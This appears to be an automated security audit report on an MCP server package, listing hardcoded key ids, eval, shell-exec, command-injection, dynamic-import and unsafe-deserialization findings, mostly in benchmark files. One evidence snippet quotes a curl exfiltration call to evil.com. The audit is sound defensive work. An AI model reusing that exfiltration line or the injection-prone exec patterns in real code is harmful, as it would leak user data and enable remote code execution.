Judges MCP Server

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-advanced.js:1114`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-advanced.js

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-ai-agents.js:3930`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-ai-agents.js

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-expanded.js:1746`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-expanded.js

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-infrastructure.js:221`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-infrastructure.js

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-quality-ops.js:2195`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-quality-ops.js

A live-looking AWS access key id is hardcoded in `dist/commands/benchmark-security-deep.js:1105`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/api.js:8`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/api.js

In the server's implementation (`dist/commands/benchmark-advanced.js:1096`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:714`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:3904`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:1871`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:455`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-quality-ops.js:1266`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-quality-ops.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1468`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:160`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/finding-auto-fix.js:29`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/finding-auto-fix.js

The implementation builds shell commands out of runtime values AND evaluates runtime values as code. Each is a separate arbitrary-execution primitive; a server exposing both gives anything that reaches either one a direct path to running attacker-chosen code.

Fix: Remove the dynamic eval, and pass command arguments as an argv array instead of building a shell string. If both are genuinely required, constrain and validate every value that can reach them.

Location: server implementation

In the server's implementation (`dist/api.js:8`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/api.js

In the server's implementation (`dist/commands/benchmark-advanced.js:1096`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:714`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:2592`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:275`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:455`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-quality-ops.js:1266`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-quality-ops.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1468`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:160`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/coach-mode.js:33`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/coach-mode.js

In the server's implementation (`dist/ast/cross-file-taint.js:100`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/ast/cross-file-taint.js

In the server's implementation (`dist/commands/auto-fix.js:31`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/auto-fix.js

In the server's implementation (`dist/commands/batch-review.js:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/batch-review.js

In the server's implementation (`dist/commands/benchmark-advanced.js:1432`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess.run(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:477`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: execSync(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1838`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: child_process

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-compliance-ethics.js

In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:807`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: child_process

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-coverage-gaps.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:3914`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:1754`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:379`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-advanced.js:366`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://analytics.third-party.com/collect"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-advanced.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:1121`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://api.example.com/data"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1056`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: requests.get("https://api.example.com/data"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-compliance-ethics.js

In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:310`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://provider.com/oauth/token"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-coverage-gaps.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:4827`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch('https://api.pricing.com/widget'

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:1591`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://analytics.us-east-1.amazonaws.com/ingest"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-infrastructure.js:537`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://payment-api.example.com/charge"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-infrastructure.js

In the server's implementation (`dist/commands/benchmark-quality-ops.js:1887`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://partner-api.com/sync"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-quality-ops.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1185`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("http://api.production.com/auth/login"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:97`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://api.example.com"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/auto-fix.js:31`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec("git " +

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/auto-fix.js

In the server's implementation (`dist/commands/benchmark-compliance-ethics.js:1855`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: execSync("kill -USR1 " +

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-compliance-ethics.js

In the server's implementation (`dist/commands/benchmark-coverage-gaps.js:807`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec('curl https://evil.com/collect?data='+

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-coverage-gaps.js

In the server's implementation (`dist/commands/benchmark.js:128`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec("ping -c 1 " +

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/commands/coach-mode.js:63`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: execSync('convert ' +

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/coach-mode.js

In the server's implementation (`dist/commands/commit-hygiene.js:22`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: execSync(`git log --oneline -${

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/commit-hygiene.js

In the server's implementation (`dist/commands/finding-trace.js:56`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: execSync(`git blame --porcelain "${

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/finding-trace.js

In the server's implementation (`dist/cli.js:701`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: import(modulePath)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/cli.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:1355`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: require($module)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/design-audit.js:77`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: import(s)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/design-audit.js

In the server's implementation (`dist/config.js:574`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: import(resolvedSpec)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/config.js

In the server's implementation (`dist/commands/benchmark-ai-agents.js:809`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.load(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-ai-agents.js

In the server's implementation (`dist/commands/benchmark-expanded-2.js:3601`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.loads(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded-2.js

In the server's implementation (`dist/commands/benchmark-expanded.js:261`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: unserialize(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-expanded.js

In the server's implementation (`dist/commands/benchmark-languages.js:400`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: unserialize(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-languages.js

In the server's implementation (`dist/commands/benchmark-security-deep.js:255`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: yaml.load(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark-security-deep.js

In the server's implementation (`dist/commands/benchmark.js:1467`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.loads(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/commands/benchmark.js

In the server's implementation (`dist/evaluators/cybersecurity.js:693`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.loads(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/evaluators/cybersecurity.js

In the server's implementation (`dist/evaluators/data-security.js:178`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: yaml.load(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/evaluators/data-security.js